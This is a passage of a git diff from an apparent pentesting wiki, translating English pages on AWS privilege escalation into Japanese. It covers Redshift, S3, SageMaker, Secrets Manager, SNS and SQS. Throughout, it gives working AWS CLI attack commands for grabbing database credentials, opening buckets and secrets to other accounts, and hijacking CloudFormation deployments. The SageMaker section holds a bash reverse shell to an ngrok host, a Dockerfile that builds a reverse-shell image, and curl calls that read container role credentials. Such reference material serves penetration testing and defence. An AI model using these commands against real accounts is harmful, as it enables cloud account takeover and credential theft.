RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 825c16ad6..e0fa02709 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -4,7 +4,7 @@ ## Redshift -For more information about RDS check: +RDSに関する詳細情報は、以下を確認してください: {{#ref}} ../aws-services/aws-redshift-enum.md @@ -12,52 +12,45 @@ For more information about RDS check: ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` -With these permissions you can get **info of all the clusters** (including name and cluster username) and **get credentials** to access it: - +これらの権限を持つことで、**すべてのクラスターの情報**（名前やクラスターのユーザー名を含む）を取得し、**アクセスするための資格情報**を取得できます: ```bash # Get creds aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**潜在的な影響:** データベース内の機密情報を見つける。 ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` -With these permissions you can get **info of all the clusters** and **get credentials** to access it.\ -Note that the postgres user will have the **permissions that the IAM identity** used to get the credentials has. - +これらの権限を持つことで、**すべてのクラスターの情報**を取得し、**アクセスするための資格情報**を取得できます。\ +postgresユーザーは、資格情報を取得するために使用された**IAMアイデンティティの権限**を持つことに注意してください。 ```bash # Get creds aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**潜在的な影響:** データベース内の機密情報を見つける。 ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -It's possible to **modify the master password** of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet): - +aws cliから内部postgres（redshift）ユーザーの**マスターパスワードを変更**することが可能です（これが必要な権限だと思いますが、まだテストしていません）： ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` +**潜在的影響:** データベース内の機密情報を見つける。 -**Potential Impact:** Find sensitive info inside the databases. - -## Accessing External Services +## 外部サービスへのアクセス > [!WARNING] -> To access all the following resources, you will need to **specify the role to use**. A Redshift cluster **can have assigned a list of AWS roles** that you can use **if you know the ARN** or you can just set "**default**" to use the default one assigned. +> 次のすべてのリソースにアクセスするには、**使用するロールを指定する必要があります**。Redshiftクラスターには、**使用できるAWSロールのリストが割り当てられている場合があります**。**ARN**を知っている場合はそれを使用するか、単に「**default**」を設定して割り当てられたデフォルトのものを使用できます。 -> Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **separating** them with a **comma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` +> さらに、[**ここで説明されているように**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html)、Redshiftはロールを連結することも許可しています（最初のロールが2番目のロールを引き受けることができる限り）が、**カンマ**で**区切る**必要があります: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` -### Lambdas - -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **call a lambda function from redshift** with something like: +### ラムダ +[https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html)で説明されているように、Redshiftからラムダ関数を**呼び出すことが可能**です。 ```sql CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) RETURNS INT @@ -65,11 +58,9 @@ STABLE LAMBDA 'lambda_function' IAM_ROLE default; ``` - ### S3 -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), it's possible to **read and write into S3 buckets**: - +[https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html)で説明されているように、**S3バケットに読み書きすることが可能です**: ```sql # Read copy table from 's3:///load/key_prefix' @@ -82,30 +73,23 @@ unload ('select * from venue') to 's3://mybucket/tickit/unload/venue_' iam_role default; ``` - ### Dynamo -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), it's possible to **get data from dynamodb**: - +[https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html)で説明されているように、**dynamodbからデータを取得する**ことが可能です： ```sql copy favoritemovies from 'dynamodb://ProductCatalog' iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ``` - > [!WARNING] -> The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) option to specify the AWS Region in which the Amazon DynamoDB table is located. +> データを提供するAmazon DynamoDBテーブルは、クラスターと同じAWSリージョンに作成する必要があります。そうでない場合は、[REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region)オプションを使用して、Amazon DynamoDBテーブルが存在するAWSリージョンを指定してください。 ### EMR -Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) +[https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)を確認してください。 ## References - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 0af161cbc..1173e85aa 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -6,117 +6,112 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -An attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges. - -For example, an attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy: +興味深いバケットに対してこれらの権限を持つ攻撃者は、リソースをハイジャックし、権限を昇格させることができるかもしれません。 +例えば、"cf-templates-nohnwfax6a6i-us-east-1"というクラウドフォーメーションバケットに対してこれらの**権限を持つ攻撃者**は、デプロイメントをハイジャックすることができます。アクセスは以下のポリシーで付与できます: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": [ - "s3:PutBucketNotification", - "s3:GetBucketNotification", - "s3:PutObject", - "s3:GetObject" - ], - "Resource": [ - "arn:aws:s3:::cf-templates-*/*", - "arn:aws:s3:::cf-templates-*" - ] - }, - { - "Effect": "Allow", - "Action": "s3:ListAllMyBuckets", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": [ +"s3:PutBucketNotification", +"s3:GetBucketNotification", +"s3:PutObject", +"s3:GetObject" +], +"Resource": [ +"arn:aws:s3:::cf-templates-*/*", +"arn:aws:s3:::cf-templates-*" +] +}, +{ +"Effect": "Allow", +"Action": "s3:ListAllMyBuckets", +"Resource": "*" +} +] } ``` - -And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**. +そして、ハイジャックが可能なのは、**テンプレートがバケットにアップロードされる瞬間から**、**テンプレートがデプロイされる瞬間までの小さな時間ウィンドウ**があるからです。攻撃者は、自分のアカウントに**lambda function**を作成し、**バケット通知が送信されたときにトリガーされる**ようにし、**そのバケットの内容をハイジャック**することができます。 ![](<../../../images/image (174).png>) -The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ -For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) +Pacuモジュール [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) を使用して、この攻撃を自動化できます。\ +詳細については、元の研究を確認してください: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -These are the permissions to **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\ -An attacker with **read access** to them might find **sensitive information** on them.\ -An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\ -These are some examples: +これらは、**S3にオブジェクトを取得およびアップロードするための権限**です。AWS内（およびその外）でいくつかのサービスが、**設定ファイル**を保存するためにS3ストレージを使用しています。\ +それらに**読み取りアクセス**を持つ攻撃者は、**機密情報**を見つける可能性があります。\ +それらに**書き込みアクセス**を持つ攻撃者は、**データを変更してサービスを悪用し、特権を昇格させようとする**ことができます。\ +以下はそのいくつかの例です： -- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**. +- EC2インスタンスが**ユーザーデータをS3バケットに保存している**場合、攻撃者はそれを変更して**EC2インスタンス内で任意のコードを実行**することができます。 ### `s3:PutBucketPolicy` -An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets. - +攻撃者は、**同じアカウントからである必要があり**、そうでない場合は`The specified method is not allowed will trigger`というエラーが発生します。この権限を持つ攻撃者は、バケットに対して自分自身により多くの権限を付与し、読み取り、書き込み、変更、削除、バケットを公開することができるようになります。 ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ## JSON giving permissions to a user and mantaining some previous root access { - "Id": "Policy1568185116930", - "Version":"2012-10-17", - "Statement":[ - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:root" - }, - "Action":"s3:ListBucket", - "Resource":"arn:aws:s3:::somebucketname" - }, - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:user/username" - }, - "Action":"s3:*", - "Resource":"arn:aws:s3:::somebucketname/*" - } - ] +"Id": "Policy1568185116930", +"Version":"2012-10-17", +"Statement":[ +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:root" +}, +"Action":"s3:ListBucket", +"Resource":"arn:aws:s3:::somebucketname" +}, +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:user/username" +}, +"Action":"s3:*", +"Resource":"arn:aws:s3:::somebucketname/*" +} +] } ## JSON Public policy example ### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } ``` - ### `s3:GetBucketAcl`, `s3:PutBucketAcl` -An attacker could abuse these permissions to **grant him more access** over specific buckets.\ -Note that the attacker doesn't need to be from the same account. Moreover the write access - +攻撃者はこれらの権限を悪用して、特定のバケットに対して**より多くのアクセスを付与する**ことができます。\ +攻撃者は同じアカウントからである必要はないことに注意してください。さらに、書き込みアクセス ```bash # Update bucket ACL aws s3api get-bucket-acl --bucket @@ -125,27 +120,25 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -An attacker could abuse these permissions to grant him more access over specific objects inside buckets. - +攻撃者は、これらの権限を悪用して、バケット内の特定のオブジェクトに対するアクセスを増やすことができます。 ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -154,34 +147,27 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -An attacker with these privileges is expected to be able to put an Acl to an specific object version - +これらの権限を持つ攻撃者は、特定のオブジェクトバージョンにAclを設定できると予想されます。 ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index 890686262..b18ce0f96 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -6,68 +6,60 @@ ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` -Start creating a noteboook with the IAM Role to access attached to it: - +IAMロールを使用してノートブックを作成し始めます。 ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ - --instance-type ml.t2.medium \ - --role-arn arn:aws:iam:::role/service-role/ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ ``` - -The response should contain a `NotebookInstanceArn` field, which will contain the ARN of the newly created notebook instance. We can then use the `create-presigned-notebook-instance-url` API to generate a URL that we can use to access the notebook instance once it's ready: - +レスポンスには、作成されたノートブックインスタンスのARNを含む`NotebookInstanceArn`フィールドが含まれる必要があります。次に、`create-presigned-notebook-instance-url` APIを使用して、ノートブックインスタンスが準備完了した際にアクセスするためのURLを生成できます： ```bash aws sagemaker create-presigned-notebook-instance-url \ - --notebook-instance-name +--notebook-instance-name ``` +ブラウザでURLに移動し、右上の\`Open JupyterLab\`をクリックし、次に「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。 -Navigate to the URL with the browser and click on \`Open JupyterLab\`\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button. +これで、IAMロールのメタデータ資格情報にアクセスすることが可能です。 -Now It's possible to access the metadata credentials of the IAM Role. - -**Potential Impact:** Privesc to the sagemaker service role specified. +**潜在的な影響:** 指定されたsagemakerサービスロールへの権限昇格。 ### `sagemaker:CreatePresignedNotebookInstanceUrl` -If there are Jupyter **notebooks are already running** on it and you can list them with `sagemaker:ListNotebookInstances` (or discover them in any other way). You can **generate a URL for them, access them, and steal the credentials as indicated in the previous technique**. - +もしJupyter **ノートブックがすでに実行中**であり、\`sagemaker:ListNotebookInstances\`を使用してそれらをリストできる場合（または他の方法で発見できる場合）、それらのためのURLを**生成し、アクセスし、前の技術で示されたように資格情報を盗むことができます**。 ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` - -**Potential Impact:** Privesc to the sagemaker service role attached. +**潜在的な影響:** 添付されたsagemakerサービスロールへの権限昇格。 ### `sagemaker:CreateProcessingJob,iam:PassRole` -An attacker with those permissions can make **sagemaker execute a processingjob** with a sagemaker role attached to it. The attacked can indicate the definition of the container that will be run in an **AWS managed ECS account instance**, and **steal the credentials of the IAM role attached**. - +その権限を持つ攻撃者は、**sagemakerに処理ジョブを実行させる**ことができます。攻撃者は、**AWS管理ECSアカウントインスタンス**で実行されるコンテナの定義を指定し、**添付されたIAMロールの資格情報を盗む**ことができます。 ```bash # I uploaded a python docker image to the ECR aws sagemaker create-processing-job \ - --processing-job-name privescjob \ - --processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ - --app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ - --role-arn +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ +--app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ +--role-arn # In my tests it took 10min to receive the shell curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**潜在的影響:** 指定されたsagemakerサービスロールへの権限昇格。 ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -An attacker with those permissions will be able to create a training job, **running an arbitrary container** on it with a **role attached** to it. Therefore, the attcke will be able to steal the credentials of the role. +これらの権限を持つ攻撃者は、**任意のコンテナを実行する**トレーニングジョブを作成でき、**それにロールが付与されます**。したがって、攻撃者はそのロールの資格情報を盗むことができます。 > [!WARNING] -> This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job). +> このシナリオは、攻撃者がrevシェルまたは資格情報を直接送信するDockerイメージを生成する必要があるため、前のシナリオよりも悪用が難しいです（トレーニングジョブの設定で開始コマンドを指定することはできません）。 > > ```bash -> # Create docker image +> # Dockerイメージを作成 > mkdir /tmp/rev -> ## Note that the trainning job is going to call an executable called "train" -> ## That's why I'm putting the rev shell in /bin/train -> ## Set the values of and +> ## トレーニングジョブが「train」という実行可能ファイルを呼び出すことに注意してください +> ## だから、revシェルを/bin/trainに置いています +> ## との値を設定してください > cat > /tmp/rev/Dockerfile < FROM ubuntu > RUN apt update && apt install -y ncat curl @@ -79,40 +71,34 @@ An attacker with those permissions will be able to create a training job, **runn > cd /tmp/rev > sudo docker build . -t reverseshell > -> # Upload it to ECR +> # ECRにアップロード > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest > ``` - ```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ - --training-job-name privescjob \ - --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ - --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ - --role-arn \ - --output-data-config '{"S3OutputPath": "s3://"}' \ - --stopping-condition '{"MaxRuntimeInSeconds": 600}' +--training-job-name privescjob \ +--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ +--algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ +--role-arn \ +--output-data-config '{"S3OutputPath": "s3://"}' \ +--stopping-condition '{"MaxRuntimeInSeconds": 600}' #To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**潜在的な影響:** 指定されたsagemakerサービスロールへの権限昇格。 ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -An attacker with those permissions will (potentially) be able to create an **hyperparameter training job**, **running an arbitrary container** on it with a **role attached** to it.\ -&#xNAN;_I haven't exploited because of the lack of time, but looks similar to the previous exploits, feel free to send a PR with the exploitation details._ +その権限を持つ攻撃者は（潜在的に）**ハイパーパラメータトレーニングジョブ**を作成し、**それに役割を付けた任意のコンテナ**を実行できる可能性があります。\ +&#xNAN;_I 時間がなかったために悪用していませんが、以前の悪用と似ているようです。悪用の詳細を含むPRを送信してください。_ -## References +## 参考文献 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index bdc01433b..41a7f30b9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -4,7 +4,7 @@ ## Secrets Manager -For more info about secrets manager check: +Secrets Manager についての詳細は、以下を確認してください： {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,44 +12,34 @@ For more info about secrets manager check: ### `secretsmanager:GetSecretValue` -An attacker with this permission can get the **saved value inside a secret** in AWS **Secretsmanager**. - +この権限を持つ攻撃者は、AWS **Secretsmanager** 内の **シークレットに保存された値** を取得できます。 ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` - -**Potential Impact:** Access high sensitive data inside AWS secrets manager service. +**潜在的な影響:** AWS Secrets Manager サービス内の高機密データにアクセスすること。 ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -With the previous permissions it's possible to **give access to other principals/accounts (even external)** to access the **secret**. Note that in order to **read secrets encrypted** with a KMS key, the user also needs to have **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)). - +前述の権限を持つことで、**他のプリンシパル/アカウント（外部も含む）**に**シークレット**へのアクセスを**付与する**ことが可能です。KMS キーで暗号化されたシークレットを**読み取る**ためには、ユーザーが**KMS キーへのアクセス**も持っている必要があることに注意してください（詳細は[KMS Enum ページ](../aws-services/aws-kms-enum.md)を参照）。 ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "secretsmanager:GetSecretValue", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "secretsmanager:GetSecretValue", +"Resource": "*" +} +] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 699bb58cf..58ac969d2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,36 +12,26 @@ For more information check: ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +攻撃者は、SNSトピックに悪意のあるまたは不要なメッセージを送信することで、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させる可能性があります。 ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**潜在的な影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。 ### `sns:Subscribe` -An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +攻撃者はSNSトピックにサブスクライブすることで、メッセージへの不正アクセスを得たり、トピックに依存するアプリケーションの正常な機能を妨げたりする可能性があります。 ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` - -**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic. +**潜在的な影響**: メッセージへの不正アクセス（機密情報）、影響を受けたトピックに依存するアプリケーションのサービス中断。 ### `sns:AddPermission` -An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions. - +攻撃者は、不正なユーザーやサービスにSNSトピックへのアクセスを付与し、さらなる権限を得る可能性があります。 ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` - -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. +**潜在的な影響**: 不正なユーザーやサービスによるトピックへの不正アクセス、メッセージの露出、またはトピックの操作、トピックに依存するアプリケーションの正常な機能の妨害。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index 384ed8430..af16f4cd2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -4,7 +4,7 @@ ## SQS -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -12,39 +12,29 @@ For more information check: ### `sqs:AddPermission` -An attacker could use this permission to grant unauthorized users or services access to an SQS queue by creating new policies or modifying existing policies. This could result in unauthorized access to the messages in the queue or manipulation of the queue by unauthorized entities. - +攻撃者は、この権限を使用して、新しいポリシーを作成したり、既存のポリシーを変更することで、未承認のユーザーやサービスにSQSキューへのアクセスを付与することができます。これにより、キュー内のメッセージへの未承認のアクセスや、未承認のエンティティによるキューの操作が発生する可能性があります。 ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` - -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. +**潜在的な影響**: 不正なユーザーやサービスによるキューへの不正アクセス、メッセージの露出、またはキューの操作。 ### `sqs:SendMessage` , `sqs:SendMessageBatch` -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +攻撃者は、SQSキューに悪意のあるまたは望ましくないメッセージを送信する可能性があり、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させたりする可能性があります。 ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**潜在的な影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。 ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - 